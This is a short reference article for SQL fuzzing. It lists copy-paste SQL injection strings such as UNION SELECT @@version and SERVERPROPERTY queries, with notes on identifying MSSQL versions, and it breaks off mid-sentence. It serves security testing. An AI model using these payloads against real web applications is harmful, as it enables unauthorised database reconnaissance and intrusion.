Database Finger Printing
SQL Fuzzing This article is created to introduce an SQL query injection reference, meanning strings that can be used without any modification (a simple copy paste) in web application SQL fuzzers to perform balck box SQL fuzzing (no assumption made about back end database). In the following table M means MSSQL, O means Oracle, P means Postgre and My means MySQL. SQL Injection Strings For Fingerprinting 'SELECT @@version -- M Note: This injection query works with any instance of SQL Server 2000 or of a later version. ' UNION SELECT @@version,NULL,NULL-- M Note: This injection query can be used to identify amount of table columns, data types and database version. 'SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition') -- M Note: This query works with any instance of SQL Server 2000 or of a later version. The following results are returned: The produ...